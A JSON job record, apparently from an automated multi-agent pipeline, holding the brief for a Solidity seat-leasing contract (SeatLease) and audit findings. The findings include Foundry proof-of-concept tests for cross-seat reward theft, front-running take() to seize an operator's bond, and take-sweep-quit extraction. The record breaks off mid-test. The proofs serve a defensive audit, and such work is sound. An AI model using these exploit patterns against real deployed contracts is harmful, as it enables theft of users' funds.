{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"23eb7fc4-5ed9-4560-9018-f4bf2abd75c4","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"5df3b133d86868bd1903ff860a1b5285d996093bc2fde6c3a45644dc5aa39fa9","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"06945b23c8ba14a0777bad0432b10a4135c0267f36375d1a0ae5d956aba9f6f6","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"06945b23c8ba14a0777bad0432b10a4135c0267f36375d1a0ae5d956aba9f6f6","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"c9cfd5a2b5440037fa146d7acf9637868f959f32bb5b637456ed7ca6adb11895","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"06945b23c8ba14a0777bad0432b10a4135c0267f36375d1a0ae5d956aba9f6f6","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"06945b23c8ba14a0777bad0432b10a4135c0267f36375d1a0ae5d956aba9f6f6","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"18fe4cd1560ab95f1309da95e7f3b3a5096f2457e3d1bf1665a240f9b03da053","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"98e64064eaa0ac4c05a737d3879d501a8ad6252047b27878e643a2704a153393","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"98e64064eaa0ac4c05a737d3879d501a8ad6252047b27878e643a2704a153393","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"478d032d05e0c9e05c5f802650580ac0367f07f3ed35218b3600a6ed2299c0e8","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"06945b23c8ba14a0777bad0432b10a4135c0267f36375d1a0ae5d956aba9f6f6","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"06945b23c8ba14a0777bad0432b10a4135c0267f36375d1a0ae5d956aba9f6f6","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"eed5ab4ec845b6047491932d6b931bff8072e6e25a1fa2678977184ab0f15ddb","dependsOn":["build_contract_project","write_foundry_tests","manifest"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"06945b23c8ba14a0777bad0432b10a4135c0267f36375d1a0ae5d956aba9f6f6","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"06945b23c8ba14a0777bad0432b10a4135c0267f36375d1a0ae5d956aba9f6f6","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"7e0b9893d0f24d0fb32172fa0f3a58b261c7e8e908ea7e29b154a475e5c48845","dependsOn":[],"execution":{"mustProduce":["src/LaunchToken.sol"],"network":false,"profile":"foundry","requires":[],"skillHash":"47381b166d1f406a34f0ebdc740ee21bc0383e56e7ad9084b26abf1bf7570904","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"47381b166d1f406a34f0ebdc740ee21bc0383e56e7ad9084b26abf1bf7570904","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"18ebae3290bbc7a35ef4917967cd745523a3b18dc36bc3abe413788b8a06a796","dependsOn":["build_contract_project","write_foundry_tests"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"26487812fc0afbf07e7b73b9e1f78e12452c9cb1dafacc5877e3cc3f9e61bb23","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"34855370ca090d6b3d67ca9be2b888d13d0f9f81b742b9f9f7eca5cad54281ba","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"34855370ca090d6b3d67ca9be2b888d13d0f9f81b742b9f9f7eca5cad54281ba","skillId":"write-foundry-tests","state":"accepted"}],"objective":"Build SEATLEASE v1: one registry contract that holds identitymd seats (an ERC-721) so a seat owner can let an operator run the seat and both share the rewards. The network pairs a device by verifying an EIP-712 WorkerAuthorization signature and accepts ERC-1271 from contract owners, so this contract answers isValidSignature for its operators. Rewards go to the NFT holder, this contract, and must be split. Deliver contract, tests, review, deploy script and docs. No token is created.\n\nCONTRACT\nSeatLease.sol, Solidity ^0.8.26, no upgradeability, no global admin, no pause, no selfdestruct. Constructor: seat NFT address, bond ERC-20 address, and the network's WorkerAuthorization EIP-712 domain name and version (currently \"IdentityMD Worker\" and \"2\"; verifyingContract is the seat NFT, chainId is block.chainid). State is per tokenId: owner, operator (zero when vacant), ownerBps (0-10000), mode (Permissioned or Open), allowedOperator, bondAmount, bondHeld, oracleSigner, questionHash, listing string (0-280 bytes).\n1. deposit(tokenId, ownerBps, mode, allowedOperator, bondAmount, oracleSigner, questionHash, listing): caller must own the NFT; pulls it via safeTransferFrom (onERC721Received accepts only the seat NFT during deposit); records owner and terms.\n2. setTerms(same params): owner only, vacant only.\n3. take(tokenId): vacant only. Permissioned: caller must equal allowedOperator. Open: caller transfers bondAmount of the bond token in. Caller becomes operator.\n4. quit(tokenId): operator only; clears operator; returns bond.\n5. cut(tokenId): owner only, any time; clears operator; returns bond.\n6. cutByOracle(tokenId, attestation, signature): anyone. attestation is the network oracle struct OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt) signed under domain name \"IdentityMD Oracle\", version \"1\", chainId = block.chainid, verifyingContract = this contract. Valid only if oracleSigner is set and recovers as signer, questionHash matches the seat's, chainId equals block.chainid, answerType is bool and answer decodes to true, expiresAt is in the future, requestId unused. Clears operator; bond forfeited to owner.\n7. withdraw(tokenId): owner only, vacant only; returns the NFT; clears the seat.\n8. isValidSignature(bytes32 hash, bytes signature) (ERC-1271): signature = abi.encode(bytes32 deviceKey, address wallet, uint256 tokenId, bytes32 nonce, uint64 expiresAt, string relayOrigin, bytes operatorSignature). Recompute the EIP-712 digest of WorkerAuthorization(bytes32 deviceKey,address wallet,uint256 tokenId,bytes32 nonce,uint64 expiresAt,string relayOrigin) under the network domain. Return 0x1626ba7e only if the digest equals hash, wallet equals address(this), the seat has an operator, ECDSA recovery of operatorSignature over hash yields that operator, and expiresAt is in the future; else 0xffffffff. Prefer returning failure to reverting.\n9. credit(tokenId, token, amount): anyone; pulls amount of token (address(0) = ETH via msg.value) from the caller and books it to the seat. receive() reverts, so plain ETH is never unattributed.\n10. claim(tokenId, target, data, tokens[]): seat owner only; performs target.call(data) so the seat can claim rewards from per-launch distributors that pay the holder. Guards: target is not the NFT, the bond token or this contract; no value; afterwards the contract still owns the NFT and no booked balance decreased; the increase in each listed token is booked to the seat.\n11. sweep(tokenId, token): anyone; pays out the seat's booked balance of token to owner and operator by ownerBps (all to owner if vacant).\nEvents for every state change. Views: seat(tokenId), credited(tokenId, token), usedRequest(requestId). Custom errors. Reentrancy guards on take, quit, cut, cutByOracle, credit, claim, sweep. OpenZeppelin pinned to a release: ERC721Holder, IERC1271, ECDSA, EIP712, ReentrancyGuard, SafeERC20.\n\nTESTS\nFoundry with mock seat NFT, mock bond and reward ERC-20s, and a mock distributor whose claim() pays msg.sender. Cover every function, revert and error; both modes; bond return on quit and owner cut, forfeiture on oracle cut; sweep math at 0, 5000, 10000 bps and vacant; ETH and ERC-20 credit and sweep; claim guards and booking; isValidSignature with a real WorkerAuthorization digest signed by an operator key, plus negatives (wrong wallet, wrong tokenId, non-operator signer, expired, digest mismatch, vacant, malformed bytes); cutByOracle with a real signed attestation from a test signer, plus negatives (wrong signer, wrong questionHash, wrong chainId, false answer, non-bool type, expired, replay); fuzz over bps, amounts and callers; invariants: the NFT leaves only via withdraw while vacant, swept never exceeds credited. 100% coverage, forge build --deny warnings clean, gas snapshot.\n\nREVIEW\nAdversarial review with the solidity-security-review and pashov-skill references: isValidSignature forgery (cross-seat replay, digest substitution, malleability), claim() as an arbitrary-call surface, bond and sweep accounting, reentrancy, credit() dust griefing, any path that moves the NFT. Fix Highs and Mediums with regression tests; document accepted Lows.\n\nDELIVERY\nscript/Deploy.s.sol driven by env vars (RPC, key, constructor params), usable unchanged on mainnet later. Deploy to local Anvil and, if this request's deploy option is on, to the chain it allows, with the mock NFT and bond token alongside; record addresses, tx hashes, blocks. Do not deploy to mainnet. README: every function, event and error; the exact isValidSignature encoding with a worked example; how an operator pairs (operator key signs the WorkerAuthorization, submitted with the contract as wallet); the oracle cut model; mainnet deployment steps. Public GitHub source requested. No token, no pool.","parentJobId":null,"planHash":"16806490074ffc7df37959273dcfff970e10b44d24caf0907bc45f2fe7cc45d5","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"23eb7fc4-5ed9-4560-9018-f4bf2abd75c4","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-440-build-seatlease-v1-one"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51027","feedbackHash":"b5bcf9745b4a0e82df82c8cd1ff813f216eb78f7bc5cf4665ae4dd66b013d418","nodeKey":"audit_economics","submissionHash":"5df3b133d86868bd1903ff860a1b5285d996093bc2fde6c3a45644dc5aa39fa9","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51430","feedbackHash":"fb0c120eadf06822d7413d8eb525b4d86933f3d0e6e192b435a652decfefa305","nodeKey":"audit_economics","submissionHash":"6a782c45a5f18d4378c411a9c1dae615cfd2dd3319f5775b5ce64bb76950a942","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50955","feedbackHash":"e7d526dd4bf31c509006d39d9814a571c90eae66d55f42ba4bc2acee023aa2fa","nodeKey":"audit_economics","submissionHash":"73fc7029bd02ab39af3a88679b9e99f8addcef50153f12d0d8d7655f0892e5e2","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51250","feedbackHash":"dbf8dc4a4f82a5ad855de3501a3c45aca7adb487eb21fb08bfcf7da862c13c2a","nodeKey":"audit_flow","submissionHash":"c9cfd5a2b5440037fa146d7acf9637868f959f32bb5b637456ed7ca6adb11895","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51430","feedbackHash":"aaa8767f5c1e5bf15f55e0fbe2d26142dc360f1b00fc46819119c29ae4606e43","nodeKey":"audit_flow","submissionHash":"b7859eb3a452543767c6afd920645dd1e3947617857d7070e7f75571627662d4","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50955","feedbackHash":"59900bbb4b00f0737b66fde4d8dbf78f39695d8abcf4f5b807eb4bf10fe653f4","nodeKey":"audit_flow","submissionHash":"fd113f361aed2da50e8764789e7ece33c59cfa867887b1cc3ec9c7b828a08266","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50959","feedbackHash":"38c9cd4ec8797e54cad86c0a7493872968c46b3535a26d0b3226dda44e831130","nodeKey":"audit_judge","submissionHash":"b712d8cfe8a993c1386892fd5654318fa29ead4d0c919bb9b034f629acfc83fc","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50981","feedbackHash":"a57921b5decb765a900bd7a02c5bb14e86e54bacb0bf37bc8232fcf868bc00d6","nodeKey":"audit_judge","submissionHash":"18fe4cd1560ab95f1309da95e7f3b3a5096f2457e3d1bf1665a240f9b03da053","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51023","feedbackHash":"39b12569a2433662d740e642555e18e3a1f823a37ace48195a53c996adee64a5","nodeKey":"audit_judge","submissionHash":"07248a2eb587e129dd140f849781715eed8d780f1c58d99f885ae4aa689d6e97","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51018","feedbackHash":"e3c9f66566829206fe9e3220a207195c6521a0633fcdfe448b9095b545ac6b9a","nodeKey":"audit_math","submissionHash":"478d032d05e0c9e05c5f802650580ac0367f07f3ed35218b3600a6ed2299c0e8","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50939","feedbackHash":"f8a327cd3628157b6ce009eaba6ddf6fa92d3a16f080793eadb54871bc97ce71","nodeKey":"audit_math","submissionHash":"f4374056b3a5b7bf059aa508e7b558af4321a4f25b42d454c1bcd0438f8770c7","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51018","feedbackHash":"fdb1a33deaad71874edbc0a60276c3aed17490789276b5870266ee7dfcd74363","nodeKey":"audit_permissions","submissionHash":"a5a51ed20fcbf8b0eef8ef7be3d635f4e8abc2859bf6a58081a6a1966a06f2f1","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50955","feedbackHash":"8357b3112fbba2cfc13f0817ccaad2f3a430ca93d32e6903daaccdb76a92f623","nodeKey":"audit_permissions","submissionHash":"eed5ab4ec845b6047491932d6b931bff8072e6e25a1fa2678977184ab0f15ddb","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50971","feedbackHash":"85b3bf5d01cb643f20d869b96aa2742ed74234ef772f27d353e4e65a17eacdce","nodeKey":"build_contract_project","submissionHash":"7e0b9893d0f24d0fb32172fa0f3a58b261c7e8e908ea7e29b154a475e5c48845","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50962","feedbackHash":"a4b73c1d50e19ad6ce947d0263dcd786240201aa65176b2ad9d00ebe19477b8d","nodeKey":"build_contract_project","submissionHash":"114199a13f57a25318eb4e16bbf03c575cfb342806883ea8a6557ad29bc98cd9","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50959","feedbackHash":"257a5890fa39edc3772c1f3b477e04dc02dd05e596fc8e6faefc67c725d01c85","nodeKey":"build_contract_project","submissionHash":"2a0a53d98ef135bba27d1b9422a5e6012fbf5a8fd7f507d27cbcd1a8bbdd34f3","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50962","feedbackHash":"9de20497649b226383c8abc53170f4a6402b156843d8aa05fc886881f1fe053d","nodeKey":"manifest","submissionHash":"18ebae3290bbc7a35ef4917967cd745523a3b18dc36bc3abe413788b8a06a796","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51046","feedbackHash":"d1c05a90f5736af0371b69bfc83e611f316090222bfcc758332dd0107bbc6bbf","nodeKey":"write_foundry_tests","submissionHash":"26487812fc0afbf07e7b73b9e1f78e12452c9cb1dafacc5877e3cc3f9e61bb23","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50971","feedbackHash":"d3cc3bde3e81333d6a6af7eed6a52345f97578b0deb9637155de9c6be1908fd4","nodeKey":"write_foundry_tests","submissionHash":"1a668a1adb2960ecbf4e5070b6cd23d89b06906b74c188e1c22aef52d51d50b7","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50959","feedbackHash":"534441520b03982386ab796e47e5af78691edbdee5325e0fadba59b9901f9b2c","nodeKey":"write_foundry_tests","submissionHash":"c6c29db8560aff4b562aa446900d54bf36745c2f27dd4d3b13241392592b161e","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"f8f8fca6851791013c470ebfdf3fa5bc45519506a418c8f9d42810ace915a1c3","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ca080fd306399669","findings":[{"citation":"resolved","description":"Every deposited seat is held by the same address, this registry, so every distributor that pays the holder (msg.sender, or an account leaf keyed by the holder wallet) pays the registry once for all seats it holds. claim() measures the registry-wide balance delta across target.call and books all of it to the tokenId the caller passed; nothing in the contract ties the payout to that seat, and the caller also picks the calldata (so a per-token distributor callable as claim(otherTokenId) is booked to the caller's seat the same way). The 'no booked balance decreased' guard does not fire because the other seats' rewards were never booked. Rewards are paid to the wrong seat's owner and operator; the first owner to claim takes everything the distributor owed the holder wallet. Merged from audit_flow (high). Fix is a design decision the requester must take: hold each seat in its own minimal holder (a clone that owns the NFT and is the reward recipient, controlled only by the registry) so payouts are separated by address, or accept only distributors whose claim calldata names the tokenId and check that argument against the seat. A single shared holder wallet cannot attribute per-holder payouts.","line":422,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\nimport {MockDistributor} from \"src/mocks/MockDistributor.sol\";\n\n/// Two seats held by the registry. The distributor pays the holder wallet (the registry) once for both.\n/// Alice claims first and every token that arrived is booked to her seat; Bob's seat gets nothing.\ncontract CrossSeatClaimTest is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    MockDistributor dist;\n    SeatLease lease;\n    address alice = makeAddr(\"alice\");\n    address bob = makeAddr(\"bob\");\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        dist = new MockDistributor(address(reward));\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(alice, 1);\n        nft.mint(bob, 2);\n        vm.startPrank(alice);\n        nft.approve(address(lease), 1);\n        lease.deposit(1, 10_000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n        vm.startPrank(bob);\n        nft.approve(address(lease), 2);\n        lease.deposit(2, 10_000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n        // Both seats earned 50 each; the distributor pays the holder address, which is the registry for both.\n        reward.mint(address(dist), 100e18);\n        dist.setReward(address(lease), 100e18, 0);\n    }\n\n    function test_claimBooksOtherSeatsRewardsToCaller() public {\n        address[] memory tokens = new address[](1);\n        tokens[0] = address(reward);\n        vm.prank(alice);\n        try lease.claim(1, address(dist), abi.encodeCall(MockDistributor.claim, ()), tokens) {} catch {}\n        // Seat 1 must not be credited more than its own 50e18 share of what the holder wallet received.\n        assertLe(lease.credited(1, address(reward)), 50e18, \"seat 1 booked seat 2's rewards\");\n    }\n}","reproduction":"Alice deposits tokenId 1, Bob deposits tokenId 2 (both Permissioned, ownerBps 10000). MockDistributor owes the holder wallet 100e18 RWD (50e18 per seat): dist.setReward(lease, 100e18, 0). Alice calls claim(1, dist, abi.encodeCall(MockDistributor.claim, ()), [RWD]). Expected: at most 50e18 booked to seat 1. Actual: credited(1, RWD) == 100e18, credited(2, RWD) == 0; sweep(1, RWD) pays Alice all 100e18 and Bob's seat can never be paid because the distributor pays once. Proof test/scratch/Proof_fc6ae20c7cd7.t.sol fails with 'seat 1 booked seat 2's rewards: 100000000000000000000 > 50000000000000000000'.","severity":"high","snippet":"            if (gained != 0) _book(tokenId, tokens[i], gained);","title":"claim() books the registry-wide balance gain to whichever seat the caller names, so one seat owner books other seats' rewards"},{"citation":"resolved","description":"take(tokenId) carries no commitment (terms hash, nonce or explicit parameters) to the terms the caller inspected, and setTerms() may change every term of a vacant seat, including oracleSigner, questionHash, bondAmount and ownerBps, up to the block in which take executes. An owner who sees an operator's take in the mempool, or a builder bundle, swaps oracleSigner for a key it controls; take then pulls the bond under the swapped terms, and the owner signs a true OracleAttestation for the seat's questionHash itself and calls cutByOracle, which passes every check (signer, question, chainId, bool true, unexpired, fresh requestId) and pays the whole bond to s.owner via _payBond(s.owner, held). bondAmount can also be raised up to the operator's outstanding allowance (a max approval is a common wallet default). The victim inspected honest terms and approved exactly the listed bond and still loses it to a key it never trusted. Any address can list a seat, so the attacker is unprivileged with respect to the registry. Merged from audit_economics (high), audit_flow (high), audit_math (medium), audit_permissions (medium); the existing test test_take_bondAmountRaisedWhileVacantAppliesToNextOperator pins the term change as intended but does not consider the ordering race. Fix preserving Open/Permissioned modes and owner-set terms: bind the take to the terms, e.g. a take(tokenId, bytes32 termsHash) overload that reverts unless keccak256(abi.encode(ownerBps, mode, allowedOperator, bondAmount, oracleSigner, questionHash)) matches storage, or a terms-activation delay (take reverts while block.timestamp < termsUpdatedAt + DELAY). Adding a parameter to take is a scope decision since the brief lists take(tokenId); the delay keeps the ABI.","line":280,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev take(tokenId) does not bind the caller to the terms it inspected. The seat owner can change every term\n///      (oracleSigner, ownerBps, bondAmount, questionHash) with setTerms in the block before take lands, and take\n///      still pulls the bond under the new terms. With oracleSigner swapped to a key the owner controls, the owner\n///      immediately forfeits the operator's bond to itself through cutByOracle.\n///      Fails on the current code (the operator loses the whole bond). Passes once take refuses to seat an\n///      operator under terms other than the ones it agreed to (terms hash / explicit parameters / terms delay).\ncontract TakeTermsFrontRunProof is Test {\n    bytes32 constant EIP712_DOMAIN_TYPEHASH =\n        keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n\n    address attacker = makeAddr(\"attacker\"); // lists the seat\n    address victim = makeAddr(\"victim\"); // takes it\n    address networkOracle = makeAddr(\"network-oracle\");\n    uint256 attackerKey;\n    address attackerSigner;\n\n    uint256 constant TOKEN_ID = 1;\n    uint256 constant BOND = 100e18;\n    bytes32 constant QUESTION = keccak256(\"did the operator misbehave?\");\n\n    function setUp() public {\n        (attackerSigner, attackerKey) = makeAddrAndKey(\"attacker-signer\");\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(attacker, TOKEN_ID);\n        bond.mint(victim, BOND);\n        vm.warp(1_800_000_000);\n    }\n\n    function test_takeIsNotBoundToInspectedTerms_bondIsStolen() public {\n        // 1. The attacker lists an Open seat whose oracle is the real network oracle. The victim inspects it.\n        vm.startPrank(attacker);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, networkOracle, QUESTION, \"honest seat\");\n        vm.stopPrank();\n        assertEq(lease.seat(TOKEN_ID).oracleSigner, networkOracle);\n\n        // 2. The victim approves exactly the listed bond and submits take(1).\n        vm.prank(victim);\n        bond.approve(address(lease), BOND);\n\n        // 3. Front-run: before take lands, the attacker swaps the oracle signer for a key it controls.\n        vm.prank(attacker);\n        lease.setTerms(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, attackerSigner, QUESTION, \"honest seat\");\n\n        // 4. The victim's take(1) executes against the swapped terms. Called through the raw selector so this\n        //    proof compiles whether the fix keeps `take(uint256)` (reverting here) or changes its signature.\n        vm.prank(victim);\n        (bool taken,) = address(lease).call(abi.encodeWithSignature(\"take(uint256)\", TOKEN_ID));\n\n        // 5. If the victim got seated, the attacker signs a \"true\" attestation with its own key and forfeits the bond.\n        if (taken) {\n            SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({\n                requestId: keccak256(\"req\"),\n                chainId: block.chainid,\n                questionHash: QUESTION,\n                answerType: lease.ANSWER_TYPE_BOOL(),\n                answer: abi.encode(true),\n                figure: 0,\n                fromBlock: 0,\n                toBlock: uint64(block.number),\n                blockHash: bytes32(0),\n                panelJobId: bytes32(0),\n                issuedAt: uint64(block.timestamp),\n                expiresAt: uint64(block.timestamp + 1 hours)\n            });\n            (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerKey, lease.hashOracleAttestation(att));\n            lease.cutByOracle(TOKEN_ID, att, abi.encodePacked(r, s, v));\n        }\n\n        // The victim only ever agreed to be judged by the network oracle. Under a correct take it must either not\n        // be seated (terms changed) or keep its bond. On the current code the attacker holds the whole bond.\n        assertEq(bond.balanceOf(victim), BOND, \"victim lost its bond to terms it never agreed to\");\n        assertEq(bond.balanceOf(attacker), 0, \"attacker collected the victim's bond\");\n    }\n}","reproduction":"attacker owns seat 1; victim holds 100e18 bond. 1) attacker: deposit(1, 5000, Open, 0, 100e18, networkOracle, Q, ''). 2) victim reads seat(1).oracleSigner == networkOracle, approves 100e18, broadcasts take(1). 3) attacker's setTerms(1, 5000, Open, 0, 100e18, attackerSigner, Q, '') is mined first (seat is vacant so it succeeds). 4) take(1) succeeds: bondHeld = 100e18, operator = victim. 5) attacker signs OracleAttestation{requestId: keccak('req'), chainId: block.chainid, questionHash: Q, answerType: 1, answer: abi.encode(true), expiresAt: now + 1h} with attackerSigner and calls cutByOracle(1, att, sig). Expected: the victim is not seated under terms it did not agree to, or keeps its bond. Actual: cutByOracle succeeds, bond.balanceOf(attacker) == 100e18, bond.balanceOf(victim) == 0. Proof test/scratch/Proof_355b09ad53b0.t.sol fails with 'victim lost its bond to terms it never agreed to: 0 != 100000000000000000000'.","severity":"high","snippet":"    function take(uint256 tokenId) external nonReentrant {","title":"take() binds the operator to whatever terms are in storage when it lands; the owner front-runs it with setTerms and forfeits the bond to itself through cutByOracle"},{"citation":"resolved","description":"_book records only (tokenId, token, amount). Nothing records who was operator, or that the seat was vacant, when an amount was booked. sweep() applies the current operator and ownerBps to the entire balance. Two consequences from the one root cause. (a) Unprivileged extraction: rewards booked while the seat is vacant belong wholly to the owner under the stated rule, but a stranger can take() the Open seat, sweep(), and quit() in one transaction and receive (10000 - ownerBps)/10000 of them; quit returns the full bond, so the cost is gas (zero capital when bondAmount is 0). Vacant balances arise from credit() by the network or any payer, from bookings after an operator quits, and from an owner's claim() transaction back-run before its separate sweep. The same mechanism pays a new operator balances accrued under the previous one. (b) Owner-side mirror: cut() is owner-only and callable any time; cut(tokenId); claim(...); sweep(tokenId, token) in one transaction pays 100% of balances booked during the operator's tenure to the owner. claim() is owner-only, so for distributor rewards (the design's main income) the operator can never force booking during its tenure; the advertised ownerBps is not enforceable for the operator. The tests test_sweep_usesTermsAtSweepTimeNotAtCreditTime, test_sweep_unsweptBalanceGoesToOwnerAfterCut and test_sweep_operatorWhoQuitGetsNothingFromLaterSweep pin this as intended, and the accepted Low in REVIEW.md ('unswept balances survive withdraw and go to the next depositor') is the same root cause. Merged from audit_economics (high + medium), audit_flow (high + medium), audit_math (low), audit_permissions (high). Fix preserving every ABI: attribute at booking time. In _book, split the amount into an owner part and an operator part using the operator and ownerBps in force at that moment (vacant => all owner), keep per-seat owner-owed and per-(seat, operator)-owed balances (or a per-tenure epoch rolled into an owner-only bucket on take), and have sweep pay each part to its recorded beneficiary. Then take/quit/cut change only future bookings. Whether the cut operator keeps its earned share is a design decision for the requester; at minimum (a) must be closed because it is a costless theft from the owner by an unprivileged caller.","line":441,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev sweep() splits the whole booked balance by the operator seated at sweep time. Nothing ties a booked\n///      amount to the operator (or vacancy) under which it was booked. So anyone can take a vacant Open seat that\n///      carries an unswept balance and immediately sweep (1 - ownerBps) of rewards booked before they existed,\n///      then quit for their bond. Atomic, unprivileged, cost = gas.\n///      Fails on the current code (the taker pockets half of the pre-existing balance). Passes once booked\n///      amounts are attributed at booking time (balances booked while vacant belong entirely to the owner).\ncontract TakeSweepExtractionProof is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address payer = makeAddr(\"payer\");\n    address attacker = makeAddr(\"attacker\");\n\n    uint256 constant TOKEN_ID = 1;\n    uint256 constant BOND = 100e18;\n    uint256 constant REWARD = 1_000e18;\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(attacker, BOND);\n        reward.mint(payer, REWARD);\n        vm.warp(1_800_000_000);\n    }\n\n    function test_takerSweepsRewardsBookedBeforeItTookTheSeat() public {\n        // 1. Owner lists an Open seat at a 50/50 split. The seat is vacant.\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n\n        // 2. 1_000 reward tokens are booked to the seat while it is vacant. Under the stated rule (\"all to owner 